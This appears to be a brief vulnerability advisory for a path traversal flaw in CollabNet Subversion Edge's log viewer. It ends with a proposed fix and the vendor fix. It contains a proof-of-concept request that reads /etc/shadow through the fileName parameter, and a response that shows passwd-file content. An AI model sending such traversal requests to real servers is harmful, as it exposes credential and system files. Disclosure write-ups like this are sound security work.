Summary:
The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the show action
Vulnerability:
Request:
GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1
Host: example.com:4434
Response:
HTTP/1.1 200 OK
[...]
<div class="span3">../../../../../../etc/passwd</div>
[...]
root:x:0:0:root:/root:/bin/bash
Fix proposal:
Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.
Vendor fix:
[...] now allow only showing hooks/logs within the intended directories.
